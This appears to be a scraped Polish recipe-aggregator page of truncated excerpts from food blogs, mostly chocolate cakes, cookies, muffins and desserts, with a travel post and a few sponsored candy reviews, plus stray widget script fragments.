drożdży 2-3 łyżki cukru 20-30 g masła Posypki przed włożeniem ciasta do pieca Cukier kryształ cynamon Posypki które dodajemy po wyjęciu ciasta z pieca.  kakao  czekolada orzechy  itp. Wykonanie. Z mleka, drożdży i łyżki mąki robimy zaczyn. Dodajemy resztę mąki, cukier i stopione masło. Zagniatamy i odstawiamy na 1h ,aby podwoiło objętość . Teraz przygotujemy wałek(...)już wolne i dymiące. Na pewno łatwiej będzie, jeżeli będziemy mieli sam wałek drewniany lub  metalowy bez foli aluminiowej. Teraz możemy obtoczyć  kurtosze  w kakao, migdałach, czekoladzie itp. Kurtosze jemy odwijając i odrywając delikatnie z kominka małe kawałki. Jeżeli potrzebujemy dużo słodkości ,to  kawałki  ciacha można maczać w czekoladzie, miodzie, likierze. Dla tych ,którzy

Kulinarny karnet Christophera
Jesienny sernik kokosowy dla gości 171

wierzch zbyt się zarumieni to należy go przykryć folią do żywności. Po upieczeniu otwieramy drzwiczki piekarnika i pozwalamy, aby sernik powoli wystygł. Liście czekoladowe: Składniki: dowolne liście  tabliczka czekolady 1. Czekoladę roztapiamy z odrobiną wody. Liście myjemy, osuszamy i pędzelkiem nakładamy  czekoladę, a następnie zdobimy wierzch sernika. Lukier: 5-6 łyżek cukru pudru 1-2 łyżki zimnej wody

Apetyczna babeczka
MUFFINKI WG NIGELLI LAWSON 154

Stało się. Wczoraj znów wzięła mnie nieodparta ochota na czekoladę. Na mnóstwo czekolady. I wydało się, że oprócz przepisoholizmu cierpię również na czekoladoholizm. I mimo, że z kilku powodów powinnam sobie odpuścić, to jednak sięgnęłam do zasobów kulinarnych przepisów Nigelli, jako że ona również znana jest z małych słabostek. I jawnie się do tego przyznaje. Z resztą oglądając jej programy(...)zawsze miałam wrażenie jakby mówiła o mnie. Tak więc wczoraj skorzystałam z przepisu na muffinki, które wręcz epatowały eksplozją czekolady. Czytaj więcej

Moje Pyszne Siódme Niebo
Budyń Jaglany 128

kiedyś już robiłam podobny, ale z dodatkiem awokado, przyznam szczerze,że wolę wersję bez niego! :)  Składniki(2 małe miseczki): Pół szklanki kaszy jaglanej 1 szklanka mleka 30g gorzkiej czekolady Pół łyżeczki ekstraktu śmietankowego Można też dodać brązowy cukier Do dekoracji: Figa Wiórki kokosowe Kasze ugotować według przepisu na opakowaniu. Mleko zagrzać i następnie dodać do garnka kostki czekolady(można(...)też dodać wtedy cukier,jeśli ktoś woli bardziej słodkie!). Poczekać i pozwolić na to,aby czekolada dobrze się roztopiła. Dodać do ugotowanej kaszy i zmiksować na gładką masę. Następnie można udekorować ulubionymi owocami. :)  Miłego dnia

Chocolate Stop Tempting
Tarta limonkowa 214

Tarta limonkowa to doskonały deser dla osób, które nie lubią bardzo słodkich kremów. Jest delikatnie kwaskowa (ale nie kwaśna) ze słodką nutą czekolady i orzeźwiającą skórką z limonki. Nadaje się zarówno na elegancki deser jak i na codzienne ciasto do kawy czy herbaty. Osoby, które oglądały amerykański serial „Dexter” na pewno pamiętają, jak jedna z bohaterek marzyła przed(...)limonek (125 ml – sok z ok. 3 sztuk) 4 żółtka ekologicznych jajek skórka starta z dwóch limonek do przybrania: 1/2 łyżki cukru pudru do przybrania: 1 kostka gorzkiej czekolady listonic_type='fooddrink';listonic_theme='addToShoppingList7';listonic_content=''; document.write(" "); Wszystkie składniki na spód tarty umieszczamy w malakserze i miksujemy pulsacyjnie do połączenia się składników (oczywiście ciasto można też zagnieść ręcznie

Poezja smaku
Brownie z solonym karmelem 296

skosztować. Piekę to ciasto regularnie i za każdym razem znika z zawrotną szybkością. Myślę że każdy fan Snickersa będzie zachwycony  J Brownie z solonym karmelem Składniki: 200 g czekolady gorzkiej 100 g czekolady mlecznej 4 jajka 80 g mąki pszennej ½   szklanki cukru pudru (można dać trochę więcej jeśli lubicie bardzo słodkie ciasta)* ½ łyżeczki proszku do pieczenia(...)masła 1 puszka masy kajmakowej 4 łyżki masła orzechowego 2 batoniki Snickers (opcjonalnie) 200 g orzeszków ziemnych solonych 1,2 łyżeczki soli Przygotowanie: Czekoladę oraz masło roztapiamy w kąpieli wodnej. Rozpuszczone składniki mieszamy aby dobrze się połączyły. Masę odstawiamy na 10 minut aby lekko przestygła. Jajka roztrzepujemy w misce za pomocą widelca. Mąkę i cukier puder przesiewamy i łączymy

Mania Gotowania
CIASTO BARDZO CZEKOLADOWE Z MALINAMI 360

czekoladoholików ale nie tylko przepis na przepyszne, bardzo wilgotne i meeega smaczne ciasto bardzo czekoladowe. Stworzone na bazie rozpustnego ciasta czekoladowego (które bardzo zauroczyło mnie smakiem, mimo iż z czekolady nic sobie nie robię, to ciasto ma w sobie to coś... uzależnia...:-) ) Dodałam tylko mrożonych malin i zmieniłam trochę czas pieczenia. Pyszne, wegańskie ciacho czekoladowe. Piekłam w ciemnej blaszce(...)octu jabłkowego - 2/3 szklanki oleju kokosowego (u mnie o smaku kokosowym, nierafinowany) - 1 i 1/3 szklanki ksylitolu Dodatkowo: - maliny ilość wg uznania (u mnie mrożone) Składniki polewy: - 100g gorzkiej czekolady (u mnie wegańska z ksylitolem) - ok.50ml kremówki (gdy nie zależy nam na tym by ciasto było wege) lub mleka roślinnego - 1 łyżka ksylitolu - 1 łyżeczka oleju kokosowego - płatki czekoladowe

Smaczne Zdrowe
Tort Rafaello 214

pojedyncze lepiej wyrasta!).Piec 30-35 minut w tem.190 stopni. Masa Rafaello; ½ litra śmietanki kremówki 2 śmietany śnieżki w proszku 4 śmietanfixy   15 dag wiórków kokosowych 2 białe czekolady Czekoladę rozpuszczamy na parze – roztopioną odstawiamy do ostudzenia. Kremówkę ubić, dodać 3 śmietany śnieżki, zmiksować, a następnie wsypać śmietanfixy i dalej miksować. Następnie do masy śmietankowej dodać wystudzoną białą czekoladę

Apetyczna babeczka
Brownie 117

Klasyczne , znane w Polsce i na świecie …fantastyczne czekoladowe brownie …z wierzchu kruche i delikatne , a wewnątrz lekko wilgotne… Składniki; 25 dag czekolady 20 dag masła 25 dag cukru Cukier waniliowy 3 jajka 15 dag mąki szczypta soli  Wykonanie; Na małym ogniu rozpuszczamy masło i dodajemy czekoladę, rozgrzewamy – mieszamy nie doprowadzając do wrzenia. Jajka ubijamy na sztywno z cukrem(...)wanilią. Do wystudzonej czekolady dodajemy 3 żółtka – miksujemy – przesiewamy mąkę i znów mieszamy – dodajemy pianę z cukrem – delikatnie mieszamy i wylewamy na foremkę wyłożoną papierem do pieczenia. Pieczemy 40 minut w 175 C. Smacznego

Apetyczna babeczka
Mazurek orzechowy na białkach 234

Mazurki to słodycz, lekki orzechowy pod warstwą roztopionej czekolady i migdałów. Pyszne orzechy włoskie znajdziecie w  Owocowym Raju  .  Składniki: 10-12 białek 25 dag cukru pudru 25 dag zmielonych orzechów włoskich 2 łyżki utartych biszkoptów lub herbatników laska wanilii tabliczka czekolady płatki migdałów do posypania Białka ubić na sztywną pianę, następnie dodać cukier . Zmielone orzechy stopniowo dosypywać(...)dodać tylko wnętrze laski , z reszty laski wanilii można zrobić domowy cukier waniliowy , wszystko razem wymieszać. Masę przełożyć na natłuszczoną blachę i piec w 170C, przez ok. 40 minut. Czekoladę rozpuścić i polać ostudzony mazurek, ozdobić płatkami migdałów

Apetyczna babeczka
Ciasteczka czekoladowe z melasą 172

Wyjątkowo łakome ciasteczka!. Przepyszne, miękkie, kruche z kawałkami pysznej mlecznej czekolady :). Zrobi je każdy, bo przepis i wykonanie banalne, więc do dzieła!. Świetnej jakości melasę z trzciny cukrowej, którą wykorzystałam do tych ciasteczek znajdziecie Tutaj , wysokiej jakości i bez konserwantów! Składniki: 22 dag mąki pszennej 1 łyżeczka proszku do pieczenia 1 łyżeczka mąki ziemniaczanej 1/4 łyżeczki soli 17 dag masła(...)cukru, najlepiej brązowego 2 jajka cukier waniliowy lub domowy cukier z laską wanilii tabliczka mlecznej czekolady 10 dag rodzynek   1-2 łyżki melasy Rodzynki namoczyć w gorącej wodzie aby zmiękły. Połączyć wszystkie składniki, zanieść ciasto i dać na ok. pół godziny do lodówki. Rozdrobnić czekoladę, odcedzić rodzynki, wmieszać do wystudzonego ciasta. Formować małe kuleczki wielkości orzecha włoskiego, lekko przygnieść

Apetyczna babeczka
Tort Zebra, śmietankowo - migdałowy 168

odstawić do wystudzenia. Piec 30-35 minut w tem.180 stopni. Masa śmietankowa: 800 ml śmietany kremówki 30-36% 3 śmietany śnieżki w proszku 4 śmietan-fixy 2 białe czekolady Wierzch i boki ciasta: płatki migdałowe dostępne na  www.Skworcu.com.pl 1. Czekoladę rozpuszczamy na parze lub w rondlu, roztopioną odstawiamy do ostudzenia.  2. Kremówkę ubić, dodać 3 śmietany śnieżki, zmiksować(...)następnie wsypać śmietan-fixy i dalej miksować. Następnie do masy śmietankowej dodać wystudzoną białą czekoladę, wymieszać. Składnie tortu: 1. Ciasto ciemne delikatnie rozwinąć ze ścierek i posmarować jedną stronę masą. Zwijać ponownie w rulon, tym razem z masą. Każde następne ciasto dokładać do poprzedniego, aby utworzył się jeden gruby rulon z wszystkich ciemnych ciast z masą.  2. Gotowy rulon

Apetyczna babeczka
Wycieczka do Brukseli i nowy dział na blogu 178

oliwa z oliwek z uroczych malutkich buteleczkach. Przyznam się, zę w ciągu 30 minut byłam w tym sklepie dwa razy! Są i zupy... przy kasie możemy skusić się na czekolady np. toffi, limonkowe, migdałowe czy kremy do deserów, szybka obsługa, świetny klimat, dania możecie wziąć na wynos, zjeść w lokalu lub na zewnątrz. Ceny, bagietki około 3,5 euro, piwo(...)kurczaka z rożna.  Warto wiedzieć: Najlepsze piwa Blonde, Kriek (damskie piw o smaku czereśniowym) Najtańsze zakupy zrobicie np. w sklepach w carrefour, zwłaszcza jeśli chodzi o piwa czy czekolady, oferują produkty lepszej jakości niż typowe sklepy dla turystów Gotye, znany z utwory "Somebody that i used to know" pochodzi właśnie z Brugii sprzedaż alkoholi w Brugii jest zakazana

Moja smaczna kuchnia
Piegowate babeczki 138

Piegowate babeczki    SKŁADNIKI: jajka -4 szt mąka -22 dag cukier -15 dag margaryna -22 dag proszek do pieczenia -1 łyżeczka gorzka czekolada soda -0,5 łyżeczki LUKIER sok z 1 cytryny, cukier puder PRZYGOTOWANIE: Margarynę pokroić na kawałki,włożyć do miski,dodać cukier utrzeć na puch. Następnie ciągle ucierając dodawać po jednym jajku i mąkę wymieszaną z proszkiem(...)pieczenia i sodą. Czekoladę pokroić na kawałki, połowę dodać do ciasta wymieszać. Napełniać ciastem papierowe foremki do 2/3 wysokości. Resztą czekolady obsypać wierzch babeczek. Babeczki ułożyć na blasze włożyć do nagrzanego piekarnika,piec w 175 stop.przez 20 minut. LUKIER Sok z cytryny ucierać z cukrem pudrem do czasu, gdy powstanie jednolita gęsta masa. Upieczone i ostudzone babeczki,polać lukrem cytrynowym

Kuchnia Danusi
Ciasto kolorowe 332

łyżeczki galaretka brzoskwiniowa -1 opak galaretka wiśniowa -2 opak bita śmietana -1 opak mleko -200 ml suchy mak -0,5 szkl kakao -1 łyżka tłuszcz do formy gorzka czekolada starta -2 łyżki PRZYGOTOWANIE: BISZKOPT I   Z trzech białek ubić pianę na sztywno,w trakcie ubijania dodać cukier,dalej ubijać. Następnie dodawać po jednym żółtku i mąkę przesianą z proszkiem(...)biszkopt z makiem  4-Na biszkopt z makiem wyłożyć połowę pianki brzoskwiniowej  5 -biszkopt kakaowy  6-reszta pianki brzoskwiniowej.  7- Wierzch ciasta posypać startą gorzką czekoladą.  Ja nie miałam czekolady,więc starłam ptasie mleczko. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js

Kuchnia Danusi
Naleśniki z brzoskwiniami 145

Ciasto naleśnikowe mąka - 2 szkl jajka -2 szt mleko -1 szkl woda - 0,5 szkl sól tłuszcz do smażenia NADZIENIE 250 ml śmietany 30 % 350 g serka homogenizowanego gorzka czekolada cukier puder -2 łyżki brzoskwinie - 300 g DEKORACJA arbuz liście mięty PRZYGOTOWANIE: CIASTO Do miski wsypać mąkę, dodać jajka, wodę mleko i szczyptę soli, robotem zmiksować składniki. Smażyć naleśniki(...)rozgrzanej patelni, na złoty kolor. Przekładać serkiem homogenizowanym, składać naleśniki w kopertę. Brzoskwinie obrać, pokroić w kosteczkę. Śmietanę ubić z cukrem pudrem. Czekoladę roztopić w kąpieli wodnej. Naleśniki smarować śmietaną, posypać brzoskwiniami i polać czekoladą. Udekorować cząstkami arbuza i listkami mięty . (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id

Kuchnia Danusi
Lody czekoladowe 124

Zawsze uważam że najlepsze są lody domowe, bo wiem z czego zrobione.  Najlepiej uwielbiam lody kakaowe. Lody czekoladowe SKŁADNIKI: 400 ml śmietanka czekoladowa 30% tabliczka gorzkiej czekolady cukier puder - 1 łyżka PRZYGOTOWANIE: Mocno schłodzoną śmietankę ubić na sztywno. Następnie dodać cukier puder, dalej ubijać. Gorzką czekoladę rozpuścić w kąpieli wodnej, ostudzoną czekoladę dodać do śmietanki, zmiksować. Do specjalnych foremek

Kuchnia Danusi
Fale dunaju z jabłkiem 226

jajka, 2 łyżeczki proszku do pieczenia, 1,5 szklanki mąki, 2 łyżki kakao, 1 margaryna, 2 jabłka, krem:  2 budynie waniliowe, 800 ml mleka, 1 masło, polewa: 1/2 czekolady gorzkiej, 1/4 szklanki kremówki. Przygotowanie:    Jajka miksujemy z cukrem. Następnie dodajemy miękką margarynę. Miksujemy, aż do dokładnego utarcia. Następnie dodajemy przesianą mąkę z proszkiem do pieczenia, mieszamy. Następnie(...)stopniach ok 45 minut. W tym czasie gotujemy budynie i gdy nam ostygną miksujemy z miękkim masłem. Gdy ciasto ostygnie wylewamy na niego budyń. Polewę robimy z czekolady i kremówki, podgrzewając do rozpuszczenia się czekolady. Polewamy ciasto o chłodzimy w lodówce

Aga w kuchni
Rafaello - pralinki 133

Ostatnio robiłam likier malibu i został mi cały słoiczek nasączonych alkoholem wiórek kokosowych. Wykorzystałam je do zrobienia rafaello. Składniki: 200 g białej czekolady, 50 ml kremówki, 30 g masła, migdały, 30 g wiórków kokosowych nasączonych alkoholem+ wiórki do obtoczenia Przygotowanie:     Migdały zalewamy wrzątkiem, odstawiamy na 30 sekund. Po tym czasie zdejmujemy z migdałów skórki. Kremówkę przelewamy do rondelka(...)dodajemy wiórki kokosowe i połamaną białą czekoladę. Podgrzewamy, cały czas mieszając, aż do rozpuszczenia się czekolady - nie gotujemy! Odstawiamy do ostudzenia i dodajemy utarte masło. Odstawiamy do lodówki, żeby masa zgęstniała. Następnie formujemy kuleczki, w środek wkładamy obrany migdał i obtaczamy w wiórkach kokosowych. Schładzamy w lodówce

Aga w kuchni
Rudolfy z ciastek 152

Składniki: 1 szklanka cukru pudru, 1,8 szklanki mąki, 180 g masła, 1 jajko, 1 żółtko, kilka kropli olejku waniliowego, szczypta soli, do dekoracji: 60 g czekolady deserowej, czerwone m&m's Przygotowanie:      W mikserze montujemy hak do zagniatania ciasta i wsypujemy do miski wszystkie składniki: masło, mąkę, cukier, jajko, żółtko, olejek waniliowy i szczyptę soli(...)folię. Wkładamy na 30 minut do zamrażarki. Następnie odrywamy kawałki ciasta i wałkujemy, szklanką wycinamy kółka. Ciasteczka pieczemy ok. 12 minut w 180 stopniach. Gdy ciasteczka ostygną rozpuszczamy czekoladę w kąpieli wodnej i napełniamy nią szprycę. Dekorujemy ciasteczka, m&m's przyklejamy czekoladą lub lukrem

Aga w kuchni
Popękane czekoladowe ciasteczka 152

Składniki: 100 g gorzkiej czekolady, 2 łyżki masła, 1 szklanka cukru, 2 jajka, 2 szklanki mąki, 1 łyżeczka rozpuszczalnej kawy, 1 łyżeczka olejku waniliowego, szczypta soli, 1/2 łyżeczki proszku do pieczenia, cukier puder Przygotowanie:       W kąpieli wodnej roztapiamy czekoladę z masłem, cały czas mieszamy. Następnie dodajemy kawę rozpuszczalną i olejek waniliowy. W misce ubijamy jajka(...)cukrem na puszystą masę, dodajemy powoli roztopioną czekoladę, cały czas miksując. Następnie dodajemy stopniowo wymieszaną mąkę z solą i proszkiem do pieczenia. Takie czekoladowe ciasto wkładamy do foliowego woreczka i schładzamy przez godzinę w lodówce lub przez 15 minut w zamrażarce. Następnie formujemy kuleczki, obtaczamy je w cukrze pudrze. Układamy je na blaszce wyłożonej papierem do pieczenia i lekko spłaszczamy

Aga w kuchni
Muffinki czekoladowe 163

Składniki: 1,5 szklanki mąki, 2 łyżeczki proszku do pieczenia, 100 g gorzkiej czekolady, 3 łyżki kakao, 3/4 szklanki cukru,   2 łyżeczki cukru waniliowego, 150g masła, 2 jajka 3/4 szklanki mleka. Przygotowanie:   W małym rondelku rozpuszczamy masło z posiekaną czekoladą. Czekoladę gorzką siekamy nożem. W dużej misce mieszamy suche składniki: mąkę, proszek do pieczenia cukier biały i waniliowy

Aga w kuchni
Mazurek czekoladowo-orzechowy bez pieczenia. 218

musu czekoladowego. A przy tym jest bardzo szybki w przygotowaniu, dlatego właśnie tak go polubiliśmy. Składniki: Spód: 270 g ciasteczek 75 g masła 75 g migdałów Nadzienie: 200 g czekolady z orzechami 500 g śmietanki 36% jajko łyżka cukru łyżeczka żelatyny Przygotowanie:  Ciasteczka i migdały mielimy w malakserze, dodajemy roztopione masło i dokładnie wyrabiamy. Otrzymaną masą wylepiamy formę, wyłożoną(...)wstawiamy na 30 min do zamrażalnika.  Jajko z cukrem ubijamy na parze wodnej na białą puszystą masę. Do jajka dodajemy drobno posiekaną czekoladę i nagrzewamy, aż czekolada nam się roztopi. Po tym studzimy. W osobnej miseczce ubijamy śmietankę. Śmietankę po trochę naraz dodajemy do masy jajeczno-czekoladowej i ostrożnie mieszamy łyżką. Do masy dodajemy rozpuszczoną we wrzątku żelatynę, mieszamy

Kuchnia Łukasza
2 w 1 czyli ucieraniec jablkowy i muffiny za jednym zamachem 212

zrobic wiekszy, wystarczy podwoic ilosc skladnikow i wziasc brytfanke kwadratowa. Na koniec , kiedy placek ostygnie, wyjmujemy z tortownicy badz blachy, posypujemy cukrem pudrem lub polewamy rotopiona na parze czekolada … A teraz muffiny . Te same skladniki co na placek. Ta sama procedura wykonania ciasta. Dodatkowo potrzebne nam beda foremki papierowe do muffinow oraz drobinki czekolady na ozdobe, rowniez marmolada twarda. Rozkladamy(...)brytfankach foremki zapelniamy do polowy ciastem na srodek ciasta dajemy delikatnie pol lyzeczki twardej marmolady owocowej i przykrywamy dwoma lyzkami ciasta.Posypujemy czekolada i wstawiamy do piekarnika. Pieczemy tak samo jak placek. Moze troszke krocej ale musimy muffinki obserwowac. Polecam foremki na duze muffiny. Taka jedna duza porcja dla dziecka. Dorosly do kawy placek..a dziecko ...tez placek tylko

Z Kuchni Do Kuchni
Pączki w kokosowej obręczy 143

smażenia marmolada twarda kubek firmy JAMAR (http://jamar.pl/nasze-produkty/przetwory-owocowe/) cukier puder do posypania lub lukier (1 szklankę cukru pudru rozprowadzić z 2 - 3 łyżkami gorącej wody) owoce kansyzowane, czekolada – rozpuscic w kapieli wodnej, kokos Wy konianie- Mąkę pszenną przesiać i zmiesza ć z rozczynionymi wcześniej drozdzami. Dodać pozostałe składniki i wyrobić, pod koniec dodając rozpuszczony tłuszcz. Wyrabiać kilka minut(...)głębokim tłuszczu po obu stronach, na złoty kolor. Wyjąć, osączyć na bibule, posypać cukrem pudrem lub udekorować lukrem, posypa ć wiórkami czekoladowymi, skórką kandyzowanej pomarańczy. .. Można roztopi ć czekolad ę obotoczy ć ni ą pączka i do czekolady “przykeli ć ” kokos- to dla wymagających ł asuchow! Smacznego!!! Podawać z gorącą herbatką

Z Kuchni Do Kuchni
Pyszne ciacho o czekoladowym serduszku 142

Skladniki Na masę biala -3 c zekolady biale -1/3 szklanki mleka -pol litra smietanki kremowej 36 % Na mase ciemna -3 czekolady mleczne z kokosem lub bez -1 czekolada gorzka -1/3 szklanki mleka -pol litra smietanki kremowej 36 % Na biszkopt czekoladowy -5 jaj -3/4 szklanki cukru -3/4 szklanki maki pszennej -1 i ½ lyzki kakao -1 lyzeczka proszku(...)litra smietany dodajemy nasza roztopiona i zimna biala czekolade , miksujemy i tym sposobem powstaje masa biala. To samo z robimy z drugim pol litra smietany- ubijamy i dodajemy nasze czekolady ciemne. Tym sposobem powstaje masa czekoladowa.   Przekladamy biszkopt. Na spod dajemy jeden placek biszkopta, smarujemy masa ciemna, ukladamy na wierzchu biszkopty do tiramisu i spryskujemy je esencja kawowa

Z Kuchni Do Kuchni
Super P ! idzie do szkoły 155

się preferencjami smakowymi klientów. Tym, co od wielu lat wyróżnia ich na rynku jest doskonały smak cukierków. Uzyskują go dzięki stosowaniu wyłącznie najlepszych składników takich jak naturalne soki, doskonała czekolada i prawdziwy miód. Logo „Pszczółki” jest symbolem najwyższej jakości produktów. Poza zapleczem technologicznym, firma przywiązuje ogromną wagę  do kwestii zasobów ludzkich, zatrudnijąc specjalistów, których wysoki poziom kwalifikacji gwarantuje najlepszą(...)pierwszy , to po rozgryzieniu .. następuje pozytywne zdziwienie i lekka gęsia skórka, dreszczyk emocji, pojwia się na całym ciele!   Tak ...są to wyjątkowe cukierki .. Oblane wysokiej jakości mleczną czekoladą, skrywają w sobie chrupiącego karmelka i owocowe mięciutkie , lekko kwaskowate wnętrze, tak dobre... że niemal natychmiast sięgamy po...karmelka następnego..Za każdym razem po inny przedmiot. Raz po fizykę

Z Kuchni Do Kuchni
Magic Kiss 148

się preferencjami smakowymi klientów. Tym, co od wielu lat wyróżnia ich na rynku jest doskonały smak cukierków. Uzyskują go dzięki stosowaniu wyłącznie najlepszych składników takich jak naturalne soki, doskonała czekolada i prawdziwy miód. Logo „Pszczółki” jest symbolem najwyższej jakości produktów. Poza zapleczem technologicznym, firma przywiązuje ogromną wagę  do kwestii zasobów ludzkich, zatrudnijąc specjalistów, których wysoki poziom kwalifikacji gwarantuje najlepszą(...)jeśli będę je kupowała na wagę, to na pewno kolor żółty będzie przeważał w całości !  Choco jest charakterystycznie dojrzałe i pewne siebie, a Latte delikatne i godne uwagi. Czekolada jest najwyzszej jakości, pralina ma dość grube ścianki . Ja odgryzam zawsze spód, tak mam odkąd pamiętam.  Spód jest gruby, fabryka nie żałuje czekolady konsumentom. A nadzienia jest...po same

Z Kuchni Do Kuchni
Miodowo-ziarenkowy deser 161

który przenosi każdego w głąb siebie, po to tylko, by odszukać przykurzone gdzieś na dnie każdego z nas, pokłady energii, by je obudzić i zaprosić do życia...Ziarno,miód,czekolada...rozmarzyć się wypada! Dlatego dziś przygotuję deser z wykorzystaniem ziaren oraz Podkarpackiego Miodu Spadziowego ChNP. Nie mogłam się powstrzymać, mieszam w Rzeszowie, nie mogłam dokonać innego wyboru! Wykorzystałam trzy rodzaje(...)wymieszanego z otrębami pszennymi -5 śliwek suszonych -pół szklanki sułtańskich rodzynek -1 duża dojrzała i soczysta brzoskwinia -1 łyzka kakao -filiżanka Podkarpackiego Miodu Spadziowego ChNP Na polewę wystarczy mleczna czekolada z całymi orzechami laskowymi rozpuszczona na parze. Wykonanie Wszystkie ziarna, wsyp do misy dołóż rodzynki sułtańskie, musli z otrębami, oraz pokrojone w paski suszone śliwki.  Obierz brzoskwinię, pokrój niedbale

Z Kuchni Do Kuchni
Ziarenkowy deser 221

który przenosi każdego w głąb siebie, po to tylko, by odszukać przykurzone gdzieś na dnie każdego z nas, pokłady energii, by je obudzić i zaprosić do życia...Ziarno,miód,czekolada...rozmarzyć się wypada! Dlatego dziś przygotuję deser z wykorzystaniem ziaren, które dostałam w ramach współpracy z firmą Ziarenkowo, dolożę do tej skarbnicy również Podkarpackiego Miodu Spadziowego ChNP. Wykorzystałam trzy rodzaje(...)wymieszanego z otrębami pszennymi -5 śliwek suszonych -pół szklanki sułtańskich rodzynek -1 duża dojrzała i soczysta brzoskwinia -1 łyzka kakao -filiżanka Podkarpackiego Miodu Spadziowego ChNP Na polewę wystarczy mleczna czekolada z całymi orzechami laskowymi rozpuszczona na parze. Wykonanie Wszystkie ziarna, wsyp do misy, dołóż rodzynki sułtańskie, musli z otrębami, oraz pokrojone w paski suszone śliwki. Obierz brzoskwinię, pokrój niedbale. Dolej

Z Kuchni Do Kuchni
Czekoladowo - orzechowe ciasto z gruszkami 299

oraz drugie w małej formie na tartaletki.  Mniejszą formę wyjęłam po około 30  minutach.     Składniki: 200 g orzechów laskowych 150 g gorzkiej czekolady 110 g masła 4 jajka (oddzielnie białka i żółtka) 100 g + 1 łyżka cukru trzcinowego szczypta soli 2 - 3 gruszki   Wykonanie: Orzechy wyłożyć na blachę i wstawić do piekarnika rozgrzanego(...)Orzechy przestudzić, przełożyć na ściereczkę i potrzeć, aby usunąć skórki.  Jeżeli nie będą chciały zejść ze wszystkich orzechów, nie należy się tym przejmować.  Obrane orzechy zmielić. Czekoladę i masło rozpuścić w kąpieli wodnej lub mikrofalówce.  Przestudzić.  Żółtka zmiksować ze 100 g cukru.  Następnie dodać orzechy i wymieszać. Do czekolady z masłem dodać sól i połączyć

Sto kolorów kuchni
Różowe babeczki w kształcie serca 164

jajko 1 łyżka octu jabłkowego 1/2 szklanki oleju 1 szklanka mleka 1/2 łyżeczki aromatu waniliowego 1/2 łyżeczki aromatu migdałowego 1 łyżeczka czerwonego barwnika spożywczego Polewa czekoladowa: 5 kostek mlecznej czekolady 1 łyżka mleka +posypka czekoladowa 1. Mąkę przesiewamy do miski, dosypujemy cukier i proszek do pieczenia, dokładnie mieszamy. Dodajemy jajko, mleko, ocet, olej, aromaty i barwnik spożywczy i mieszamy jedynie(...)odstawiamy do całkowitego ostygnięcia. Jest to ważne, ponieważ rozgrzana blaszka dalej piecze nasze babeczki. Jeżeli robicie serduszka, odstawiacie je do ostygnięcia w foremce.  4. W kąpieli wodnej rozpuszczamy czekoladę. Dolewamy mleko i dokładnie mieszamy do połączenia składników. Polewamy nasze serduszka lub babeczki przygotowaną polewą i dekorujemy czekoladową posypką. Odstawiamy do zastygnięcia. Gotowe

My Culinary Art
93.Obiadowe, małe eksperymenty: czyli polędwiczki wieprzowe w sosie czekoladowo - winnym, mini kluseczki śląskie i pieczone 168

doskonale wiemy, że ta propozycja nie jest taka typowa i dla niektórych może brzmieć abstrakycjnie, ale uwierzcie, że kto pierwszy raz skosztuje mięsa w towarzystwie dość wytrawnego smaku czekolady stwierdzi, że nigdy nie jadł nic bardziej ciekawego. Połączenie to bardzo zaskakuje, ale w naszej propozycji wszystkie  składniki ze sobą się idealnie łączą, bo do naszego małego eksperymentu pasują zarówno(...)goździków, kolorowego pieprzu oraz 1 ząbek drobno posiekanego czosnku, oliwa z oliwek, świeżo zmielona sól sos czekoladowo - winny : 1 szklanka wytrawnego, czerwonego wina, 1/4 szklanki płynnego miodu, 90g gorzkiej czekolady (70% kakao), 1 drobno posiekana mała cebula, 1 ząbek czosnku pokrojony w plasterki, pół świeżej, posiekanej papryczki chili (ok. 5g) lub 1 łyżka suszonej - w płatkach, kilka gałązek świeżego tymianku

Symfonia Smaków
Rolada z bitą śmietaną i brzoskwiniami 157

Pyszna i prosta roladka. Bita śmietana i brzoskwinie fajnie komponują się w cieście z dodatkiem startej czekolady. składniki: 3 jajka 80 g mąki pszennej typ 500 z Młynu Kopytowa 80 g cukru drobnego 1 łyżeczka cukru wanilinowego Wodzisław 3-4 kostki gorzkiej czekolady 30 g 200 ml śmietanki 30 % 2 płaskie łyżeczki cukru pudru 2 brzoskwinie 1 śmietan fix Białka(...)żółtek. Następnie białka ubić na sztywną pianę, utrwalić cukrem. Cały czas ubijać i dodawać po jednym żółtku oraz cukier wanilinowy. Następnie dodać mąkę i startą na drobnych oczkach gorzką czekoladę. Gotowe ciasto wylać na dużą blachę wyłożoną papierem. Następnie blachę wstawić do piekarnika nagrzanego na 200 C i piec ok 10 minut. Po upieczeniu gorące ciasto wyłożyć na ściereczkę

Monia miesza i gotuje
Sernik na zimno z sercem 1583

łyżki żelatyny paczka herbatników Masa truskawkowa: 450g mrożonych truskawek 4 łyżki cukru 2 łyżki żelatyny Glazura truskawkowa: 4 łyżki cukru 4 łyżki śmietany słodkiej 4 łyżki wody 80g białej czekolady 2 łyżeczki żelatyny 1 łyżka czerwonego barwnika w żelu Dodatkowo: pojemnik plastikowy podobny do tego ze zdjęć. Przygotowanie 1. Truskawki rozmrozić, zblednować razem z cukrem, następnie 4 łyżki musu odstawić(...)herbatników powstał podkład pod sernik. Całość wkładamy do lodówki. 4. Rozpuszczamy w odrobinie gorącej wody dwie łyżeczki żelatyny. Wodę, cukier i śmietanę zagotować na małym ogniu. Czekoladę rozdrobnić na małe kawałki i zalać ją gotującym się płynem, od razu szybko mieszać tak by czekolada rozpuściła się i powstała jednolita konsystencja. Do całości dodajemy rozpuszczoną żelatynę, odłożony mus truskawkowy oraz łyżkę

zjem to blog kulinarny
Kopiec kreta 166

łyżki   kakao    ½ szklanki wody Składniki na krem:    ½ l śmietany kremówki    2 śmietan fix 3 łyżki cukru pudru      1 tabliczka czekolady gorzkiej- u mnie pół   3 banany     s ok z 1 cytryny(...)drobno kruszymy i pozostawiamy w oczekiwaniu            Przygotowanie kremu:                            1. Czekoladę siekamy w drobną kostkę               2. Schłodzoną śmietanę ubijamy na sztywno dodając cukier i śmietan

Proste Potrawy
Tort czekoladowy z kremem miętowym - urodzinowy 293

